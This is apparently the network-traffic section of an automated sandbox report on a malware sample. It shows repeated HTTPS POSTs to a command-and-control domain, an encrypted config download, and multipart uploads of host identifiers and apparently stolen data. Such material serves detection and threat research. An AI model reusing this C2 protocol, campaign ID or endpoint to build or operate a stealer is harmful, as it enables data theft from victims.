77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: RaffXiuVXECc3pe1.3Context: 58ea805d24aa8f52<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-17 09:08:23 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-17 09:08:23 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 55 38 4f 50 62 66 75 32 6b 47 31 44 45 62 42 4a 2b 39 7a 66 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: bU8OPbfu2kG1DEbBJ+9zfw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49714	104.21.2.110	443	7284	C:\Users\user\Desktop\V65xPrgEHH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:22 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sweepyribs.lat
2024-12-17 09:08:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-17 09:08:24 UTC	1037	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=36t9v370v6c2csjffhvc5skph6; expires=Sat, 12-Apr-2025 02:55:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kNyA8oVCqYRu6l74rvFNQYkuYBnh3GKXiobZTc3KicthaZm7H5aqqDOiVgdLP6UU5WxwWs2I1w4dJkRGDOvCZGG%2Bp2XoMAEo9efOIa5HMk2YZtleDC%2BzcCAkrXiZQk%2F0GQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35c4acec1741f9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&min_rtt=1604&rtt_var=610&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=905&delivery_rate=1781574&cwnd=212&unsent_bytes=0&cid=f500ef73d6e83fce&ts=1172&x=0"
2024-12-17 09:08:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-17 09:08:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49716	104.21.2.110	443	7284	C:\Users\user\Desktop\V65xPrgEHH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:25 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: sweepyribs.lat
2024-12-17 09:08:25 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-17 09:08:26 UTC	1034	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:08:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ck4n6ipfkg8oiv753snrbnq9on; expires=Sat, 12-Apr-2025 02:55:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b09Vqr0VrtsUk8mzXpwk8soi3GopGIz4OZMKC3IhqPLd1PDVb8FlujkguoaIG3WOCOl9COb19MyMgIqK1hwVy608fUkl8naWfuLx%2FeLYsKbhmfjFLMAK94%2BWygTmt9EJEQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35c4bbefa742b8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1570&rtt_var=601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=945&delivery_rate=1801357&cwnd=232&unsent_bytes=0&cid=f19497ac1d9540c5&ts=949&x=0"
2024-12-17 09:08:26 UTC	335	IN	Data Raw: 32 35 34 33 0d 0a 6d 55 4e 43 34 6b 32 44 56 31 41 33 41 34 50 33 7a 34 6a 66 4d 63 4e 45 55 6a 2f 47 79 4f 32 63 67 63 4e 62 43 36 59 77 76 7a 50 69 59 54 54 41 64 37 64 37 63 6b 52 6d 6f 63 32 37 2b 71 70 55 37 32 59 7a 57 2b 54 79 69 2f 33 74 73 44 34 6e 68 45 62 53 45 61 4d 6c 49 34 34 2b 35 6e 74 79 55 6e 75 68 7a 5a 54 7a 2f 56 53 74 5a 6d 67 64 6f 36 4b 50 2f 65 32 68 4f 6d 44 4a 51 4e 4e 51 38 53 38 6c 69 69 6a 67 4d 7a 46 62 62 75 61 53 71 75 6d 31 58 36 6f 70 4f 6c 4c 6b 35 4d 2f 35 2b 2b 46 68 4b 65 74 56 79 31 4c 55 49 6a 47 4a 62 2f 35 37 4b 78 56 6d 37 64 58 31 71 72 35 55 6f 53 67 30 57 36 32 67 68 66 54 6c 6f 44 39 68 31 6c 6e 5a 57 2f 45 68 4a 6f 73 69 36 53 63 38 55 57 6e 74 6c 4b 44 70 2f 52 33 68 49 53 67 64 2f 4f 72 63 7a 4f 43 77 4b Data Ascii: 2543mUNC4k2DV1A3A4P3z4jfMcNEUj/GyO2cgcNbC6YwvzPiYTTAd7d7ckRmoc27+qpU72YzW+Tyi/3tsD4nhEbSEaMlI44+5ntyUnuhzZTz/VStZmgdo6KP/e2hOmDJQNNQ8S8liijgMzFbbuaSqum1X6opOlLk5M/5++FhKetVy1LUIjGJb/57KxVm7dX1qr5UoSg0W62ghfTloD9h1lnZW/EhJosi6Sc8UWntlKDp/R3hISgd/OrczOCwK
2024-12-17 09:08:26 UTC	1369	IN	Data Raw: 75 2b 6a 76 6e 64 77 68 46 58 52 45 61 4e 68 4a 6f 34 75 37 44 55 67 58 57 72 71 6b 4c 2f 68 74 46 36 73 4a 6a 31 58 71 36 6d 50 2b 65 6d 72 4e 6d 50 41 58 39 42 58 2b 79 46 67 7a 6d 2f 6d 4c 58 49 4e 49 63 4b 51 76 65 32 78 52 65 4d 63 63 45 4c 71 73 38 2f 35 37 2b 46 68 4b 63 78 58 33 6c 4c 77 4c 69 4f 49 4a 50 4d 31 49 46 4e 73 35 49 65 72 37 37 4e 5a 6f 6a 51 36 55 36 4b 70 68 76 58 71 70 44 35 74 68 42 79 64 56 75 4e 68 65 4d 41 4f 37 44 34 2b 58 33 62 68 31 62 4b 6b 70 42 4f 6d 4b 6e 41 46 35 4b 36 4f 2b 75 4b 6c 4e 32 66 41 58 74 74 66 39 69 34 6d 69 69 2f 6d 50 7a 70 64 59 4f 79 65 6f 75 71 34 58 71 55 67 50 46 79 68 36 73 47 2b 35 4c 6c 35 4d 59 52 38 32 6c 4c 70 59 78 57 44 49 65 38 79 4a 42 56 2b 72 34 7a 74 37 62 45 54 2b 57 59 2b 57 4b 75 34 Data Ascii: u+jvndwhFXREaNhJo4u7DUgXWrqkL/htF6sJj1Xq6mP+emrNmPAX9BX+yFgzm/mLXINIcKQve2xReMccELqs8/57+FhKcxX3lLwLiOIJPM1IFNs5Ier77NZojQ6U6KphvXqpD5thBydVuNheMAO7D4+X3bh1bKkpBOmKnAF5K6O+uKlN2fAXttf9i4mii/mPzpdYOyeouq4XqUgPFyh6sG+5Ll5MYR82lLpYxWDIe8yJBV+r4zt7bET+WY+WKu4
2024-12-17 09:08:26 UTC	1369	IN	Data Raw: 59 68 4b 5a 77 53 37 45 62 77 59 78 57 44 49 65 38 79 4a 42 56 2b 72 34 7a 74 37 62 45 54 2b 57 59 39 56 61 47 76 67 50 2f 70 72 7a 78 6a 79 46 72 54 55 75 6b 75 4a 49 41 6a 36 54 38 2f 57 32 58 70 6e 4b 62 68 75 31 4f 67 4c 48 41 54 35 4b 32 58 76 72 76 68 44 57 37 49 58 39 49 54 7a 69 49 75 6a 69 6a 33 64 53 30 62 65 4b 47 53 6f 61 72 6c 45 36 30 76 4d 46 61 75 72 6f 2f 35 37 71 51 36 62 73 64 66 32 6c 76 31 4a 69 53 4d 4a 75 77 7a 4d 6c 4a 6c 35 49 65 6f 34 37 46 66 34 57 68 77 57 72 7a 71 31 37 37 4d 70 69 39 71 36 31 48 4d 57 4c 73 2b 62 70 6c 76 35 6a 6c 79 44 53 48 6d 6b 4b 58 68 75 31 75 68 4e 44 56 54 72 36 75 46 2b 4f 4b 73 4e 57 2f 45 55 39 31 58 39 79 45 6e 68 7a 33 7a 4d 44 52 48 61 36 48 62 37 65 32 6c 45 2f 6c 6d 42 6b 32 7a 75 35 6d 38 31 Data Ascii: YhKZwS7EbwYxWDIe8yJBV+r4zt7bET+WY9VaGvgP/przxjyFrTUukuJIAj6T8/W2XpnKbhu1OgLHAT5K2XvrvhDW7IX9ITziIujij3dS0beKGSoarlE60vMFauro/57qQ6bsdf2lv1JiSMJuwzMlJl5Ieo47Ff4WhwWrzq177Mpi9q61HMWLs+bplv5jlyDSHmkKXhu1uhNDVTr6uF+OKsNW/EU91X9yEnhz3zMDRHa6Hb7e2lE/lmBk2zu5m81
2024-12-17 09:08:26 UTC	1369	IN	Data Raw: 4d 58 64 4a 56 39 53 63 6d 6a 53 72 75 50 79 42 64 62 2b 79 65 6f 75 47 76 55 36 77 69 50 46 6d 73 6f 59 57 2b 72 65 45 2b 63 59 51 4b 6e 57 54 32 4c 69 43 44 4f 61 45 71 66 45 77 68 35 70 6e 74 73 76 31 66 72 79 59 2f 55 61 69 68 68 2f 2f 76 72 7a 35 73 7a 56 72 56 51 2f 6f 6c 4b 49 45 68 37 6a 51 32 55 47 54 6c 6b 71 6e 73 73 68 50 76 5a 6a 64 46 35 50 4c 50 30 63 53 55 65 30 6a 2b 45 73 49 66 34 6d 45 6e 6a 47 2b 35 64 54 35 57 62 65 6d 61 71 2b 4f 78 57 61 67 74 50 46 61 67 70 6f 62 37 35 61 41 38 62 4d 56 57 30 56 76 39 49 69 4f 50 49 4f 34 39 63 68 73 68 35 6f 33 74 73 76 31 32 74 69 30 2b 57 2b 53 31 77 65 65 6a 70 6a 55 70 6e 42 4c 52 57 50 30 6e 4a 59 77 75 35 7a 30 33 58 57 58 67 6b 36 76 70 73 6c 65 6b 4a 7a 39 5a 71 4b 53 46 2f 2b 4b 74 4d 6d Data Ascii: MXdJV9ScmjSruPyBdb+yeouGvU6wiPFmsoYW+reE+cYQKnWT2LiCDOaEqfEwh5pntsv1fryY/Uaihh//vrz5szVrVQ/olKIEh7jQ2UGTlkqnsshPvZjdF5PLP0cSUe0j+EsIf4mEnjG+5dT5Wbemaq+OxWagtPFagpob75aA8bMVW0Vv9IiOPIO49chsh5o3tsv12ti0+W+S1weejpjUpnBLRWP0nJYwu5z03XWXgk6vpslekJz9ZqKSF/+KtMm
2024-12-17 09:08:26 UTC	1369	IN	Data Raw: 56 66 77 74 4a 6f 38 70 34 44 41 34 57 57 62 6b 6e 71 4c 6d 2f 52 33 68 49 53 67 64 2f 4f 71 68 39 66 43 32 4f 6d 66 50 52 4d 59 52 35 47 38 35 77 43 6a 74 64 57 6f 56 59 75 71 65 71 65 71 78 55 36 55 72 4d 45 2b 72 72 59 6a 33 36 4c 4d 7a 62 73 4e 5a 31 56 72 30 4a 7a 4b 4d 49 66 4d 77 49 45 63 68 72 39 57 71 38 76 30 4c 34 52 41 33 54 62 53 70 7a 63 2f 31 6f 69 39 69 79 56 36 64 54 72 55 34 59 49 63 6a 6f 57 31 79 55 32 37 6f 6c 71 4c 72 74 46 2b 73 49 7a 6c 59 70 61 79 4c 39 4f 6d 68 50 32 2f 46 56 39 64 53 2b 69 73 70 68 79 66 6d 4e 69 41 56 4c 36 47 53 74 61 72 6c 45 34 67 68 49 6c 4f 30 36 70 43 77 2b 75 45 2b 5a 59 51 4b 6e 56 58 78 4c 69 53 48 49 2b 63 77 4e 46 68 67 37 70 53 74 35 62 6c 59 71 43 41 78 55 4b 47 6e 69 2b 7a 70 71 6a 5a 6c 7a 56 37 Data Ascii: VfwtJo8p4DA4WWbknqLm/R3hISgd/Oqh9fC2OmfPRMYR5G85wCjtdWoVYuqeqeqxU6UrME+rrYj36LMzbsNZ1Vr0JzKMIfMwIEchr9Wq8v0L4RA3TbSpzc/1oi9iyV6dTrU4YIcjoW1yU27olqLrtF+sIzlYpayL9OmhP2/FV9dS+isphyfmNiAVL6GStarlE4ghIlO06pCw+uE+ZYQKnVXxLiSHI+cwNFhg7pSt5blYqCAxUKGni+zpqjZlzV7
2024-12-17 09:08:26 UTC	1369	IN	Data Raw: 79 32 44 49 4f 49 6e 4d 31 4e 7a 34 5a 69 6e 2b 4c 64 59 70 43 73 39 55 4b 65 73 69 66 58 76 73 7a 42 70 78 31 6d 64 48 37 73 6d 4f 4d 42 33 6f 52 59 6c 51 32 76 6d 6d 62 76 68 76 46 43 33 4b 79 41 64 36 75 71 65 2b 66 4c 68 59 58 2f 55 52 64 70 4f 74 54 68 67 68 79 4f 68 62 58 4a 54 61 4f 65 53 71 2b 53 76 56 71 63 70 50 31 53 74 72 6f 66 39 34 36 55 39 62 73 46 52 30 56 72 38 49 69 2b 45 4a 75 38 38 50 52 55 76 6f 5a 4b 31 71 75 55 54 67 44 30 7a 55 61 6e 71 6b 4c 44 36 34 54 35 6c 68 41 71 64 58 66 55 6b 49 49 6f 70 35 54 41 30 58 32 54 68 6e 71 37 6c 75 56 57 6c 4b 54 42 57 72 61 75 4a 2b 2b 6d 71 50 32 54 48 56 4e 73 52 74 57 45 6e 6d 47 2b 35 64 52 4a 4f 62 4f 32 53 37 66 58 7a 53 75 45 68 50 42 33 38 36 6f 54 79 35 36 59 35 5a 4d 64 61 32 46 58 78 Data Ascii: y2DIOInM1Nz4Zin+LdYpCs9UKesifXvszBpx1mdH7smOMB3oRYlQ2vmmbvhvFC3KyAd6uqe+fLhYX/URdpOtThghyOhbXJTaOeSq+SvVqcpP1Strof946U9bsFR0Vr8Ii+EJu88PRUvoZK1quUTgD0zUanqkLD64T5lhAqdXfUkIIop5TA0X2Thnq7luVWlKTBWrauJ++mqP2THVNsRtWEnmG+5dRJObO2S7fXzSuEhPB386oTy56Y5ZMda2FXx
2024-12-17 09:08:26 UTC	1369	IN	Data Raw: 44 69 4a 44 73 56 4c 36 47 53 75 36 72 6c 45 35 39 6d 49 6c 36 30 71 59 44 76 33 65 46 68 63 50 6f 53 31 6b 66 38 4d 53 4f 57 4a 4f 77 35 49 32 73 68 75 63 48 2f 75 4f 38 42 38 7a 6c 77 51 70 76 6b 7a 2f 2b 6a 2b 51 42 77 68 45 53 64 43 61 6c 76 59 4a 4a 76 75 58 56 31 56 6e 50 7a 6b 36 37 38 76 68 53 66 47 42 64 4c 72 71 32 66 2b 66 53 75 65 53 65 45 58 5a 30 4a 77 6d 45 70 68 7a 54 77 49 7a 39 46 5a 71 47 71 34 36 71 6c 45 2f 6c 6d 42 56 36 71 70 49 6a 6f 38 75 77 65 66 38 35 56 7a 56 62 73 4c 6d 44 4f 62 2b 64 31 61 67 59 76 6f 5a 47 38 71 75 55 44 38 33 31 6c 44 76 50 36 33 65 47 74 75 48 6c 2f 68 41 71 50 48 37 73 7a 59 4e 68 76 70 6a 59 67 52 32 66 69 67 36 36 74 67 32 32 47 50 44 31 62 73 37 75 78 77 4f 53 37 4e 47 2f 54 51 35 46 45 2b 43 38 75 68 Data Ascii: DiJDsVL6GSu6rlE59mIl60qYDv3eFhcPoS1kf8MSOWJOw5I2shucH/uO8B8zlwQpvkz/+j+QBwhESdCalvYJJvuXV1VnPzk678vhSfGBdLrq2f+fSueSeEXZ0JwmEphzTwIz9FZqGq46qlE/lmBV6qpIjo8uwef85VzVbsLmDOb+d1agYvoZG8quUD831lDvP63eGtuHl/hAqPH7szYNhvpjYgR2fig66tg22GPD1bs7uxwOS7NG/TQ5FE+C8uh
2024-12-17 09:08:26 UTC	998	IN	Data Raw: 79 55 79 47 35 78 65 4f 71 75 55 4c 68 66 6d 41 50 2f 2f 2f 63 71 62 50 7a 4a 69 66 64 45 73 73 52 6f 33 4e 75 77 44 32 68 62 58 49 53 59 76 4f 48 71 2b 6d 72 55 4f 59 59 44 6e 71 71 72 59 37 6f 38 37 59 32 56 2f 70 48 33 6c 2f 31 4a 6a 61 52 62 36 39 31 50 52 55 35 32 4e 58 6c 71 6f 49 64 34 54 35 77 42 65 53 66 6a 50 44 74 70 69 39 34 69 58 58 54 56 76 6f 33 4d 4a 63 67 6f 58 74 79 55 79 47 35 78 2b 4f 71 75 55 4c 68 66 6d 41 50 2f 2f 2f 63 71 62 50 7a 4a 69 66 64 45 73 73 52 6f 33 4e 75 77 44 32 68 62 58 49 53 59 76 4f 48 71 2b 6d 72 55 4f 59 59 44 6e 71 71 72 59 37 6f 38 37 59 32 4a 75 70 6b 2f 47 2f 46 4e 43 4f 4f 49 65 59 6a 49 78 55 76 6f 5a 72 74 73 6f 51 54 36 57 59 50 45 2b 53 79 7a 36 61 6a 6c 44 70 6e 79 6c 58 4c 51 4c 59 47 4c 6f 63 75 39 79 Data Ascii: yUyG5xeOquULhfmAP///cqbPzJifdEssRo3NuwD2hbXISYvOHq+mrUOYYDnqqrY7o87Y2V/pH3l/1JjaRb691PRU52NXlqoId4T5wBeSfjPDtpi94iXXTVvo3MJcgoXtyUyG5x+OquULhfmAP///cqbPzJifdEssRo3NuwD2hbXISYvOHq+mrUOYYDnqqrY7o87Y2Jupk/G/FNCOOIeYjIxUvoZrtsoQT6WYPE+Syz6ajlDpnylXLQLYGLocu9y
2024-12-17 09:08:26 UTC	1369	IN	Data Raw: 32 33 64 39 0d 0a 77 54 2b 54 79 7a 37 6e 74 72 44 68 71 79 6c 48 50 51 2f 30 69 4e 6f 4e 6f 33 77 73 58 57 47 7a 6b 6d 36 72 55 67 33 4b 72 4e 6a 31 53 6f 35 53 78 79 66 4b 6d 4b 53 76 69 55 63 74 53 75 32 39 67 6d 47 2b 35 64 52 4e 66 63 65 79 61 71 71 72 7a 45 36 56 6d 61 42 32 42 70 34 4c 37 37 61 5a 37 53 4d 35 43 30 46 37 38 59 57 37 41 49 36 46 74 63 6c 52 72 38 5a 69 69 37 66 46 55 75 79 46 77 45 2b 53 6b 7a 36 61 6a 6f 44 4e 35 79 56 33 61 48 66 30 76 4c 73 41 77 72 79 78 79 51 79 47 35 78 75 4f 71 72 78 50 35 5a 6e 64 54 71 61 75 4d 38 4f 43 7a 4b 32 2f 48 52 4e 34 57 78 52 38 46 6a 53 4c 6b 4f 7a 56 72 58 38 43 66 76 65 65 79 56 4f 4d 47 4e 30 75 6e 6c 4c 48 4a 38 71 59 70 4b 2b 4a 52 79 31 4b 37 62 32 43 59 62 37 6c 31 45 31 39 78 37 4a 71 71 Data Ascii: 23d9wT+Tyz7ntrDhqylHPQ/0iNoNo3wsXWGzkm6rUg3KrNj1So5SxyfKmKSviUctSu29gmG+5dRNfceyaqqrzE6VmaB2Bp4L77aZ7SM5C0F78YW7AI6FtclRr8Zii7fFUuyFwE+Skz6ajoDN5yV3aHf0vLsAwryxyQyG5xuOqrxP5ZndTqauM8OCzK2/HRN4WxR8FjSLkOzVrX8CfveeyVOMGN0unlLHJ8qYpK+JRy1K7b2CYb7l1E19x7Jqq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49720	104.21.2.110	443	7284	C:\Users\user\Desktop\V65xPrgEHH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:27 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=F9TIGWOXX1FKXPTFY3Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12865 Host: sweepyribs.lat
2024-12-17 09:08:27 UTC	12865	OUT	Data Raw: 2d 2d 46 39 54 49 47 57 4f 58 58 31 46 4b 58 50 54 46 59 33 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 45 36 30 36 43 33 30 30 42 44 43 38 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 39 54 49 47 57 4f 58 58 31 46 4b 58 50 54 46 59 33 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 39 54 49 47 57 4f 58 58 31 46 4b 58 50 54 46 59 33 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --F9TIGWOXX1FKXPTFY3YContent-Disposition: form-data; name="hwid"9BE606C300BDC810AC8923850305D13E--F9TIGWOXX1FKXPTFY3YContent-Disposition: form-data; name="pid"2--F9TIGWOXX1FKXPTFY3YContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-17 09:08:28 UTC	1041	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qbbitsa5cuqmc46s78sv8rockk; expires=Sat, 12-Apr-2025 02:55:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kTbFTKbsScPTnuIn5lSuVJlvdDHnJbEiQUow0M5wnUe%2F5KpiAXrVAfUrwVkj%2F6aYi3Fgdo7aqXbGVi2USZlDq%2BXvu985CoB3w814lszPIelKFkI%2Fi8z36BYhHDOeuM6YJA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35c4cbee084405-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1677&min_rtt=1674&rtt_var=633&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2834&recv_bytes=13804&delivery_rate=1719670&cwnd=221&unsent_bytes=0&cid=06a0af789b990f1b&ts=844&x=0"
2024-12-17 09:08:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 09:08:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49726	104.21.2.110	443	7284	C:\Users\user\Desktop\V65xPrgEHH.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:30 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=R7OPL9DHB68HNT51CJT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15111 Host: sweepyribs.lat
2024-12-17 09:08:30 UTC	15111	OUT	Data Raw: 2d 2d 52 37 4f 50 4c 39 44 48 42 36 38 48 4e 54 35 31 43 4a 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 45 36 30 36 43 33 30 30 42 44 43 38 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 37 4f 50 4c 39 44 48 42 36 38 48 4e 54 35 31 43 4a 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 37 4f 50 4c 39 44 48 42 36 38 48 4e 54 35 31 43 4a 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --R7OPL9DHB68HNT51CJTContent-Disposition: form-data; name="hwid"9BE606C300BDC810AC8923850305D13E--R7OPL9DHB68HNT51CJTContent-Disposition: form-data; name="pid"2--R7OPL9DHB68HNT51CJTContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-17 09:08:31 UTC	1040	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ej6jbqd8h628k468u3unt6r79l; expires=Sat, 12-Apr-2025 02:55:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=adwzVg%2Fde1yb0rHLrqSoCPdGaOlDmHXaQzUDjHQVdrbbYGwDIUTkoKgnfdFR%2FbrBenPaqkNVhhY6mImnSPCDFb3LLse%2FELq5HUrTGFRG8s79OMu3cVZkSGr5JrwtUpA9Ug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35c4db8a028c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1796&rtt_var=691&sent=16&recv=21&lost=0&retrans=0&sent_bytes=2833&recv_bytes=16050&delivery_rate=1564006&cwnd=238&unsent_bytes=0&cid=eb2fe6197f109a3f&ts=936&x=0"
2024-12-17 09:08:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 09:08:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49728	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:30 UTC	375	OUT	GET /th?id=OADD2.10239317300918_15BUPXQMJSKX4T12A&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 09:08:31 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 530400 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 5BDF05216E5145D9982B1B96ADFF955F Ref B: EWR311000105037 Ref C: 2024-12-17T09:08:31Z Date: Tue, 17 Dec 2024 09:08:31 GMT Connection: close
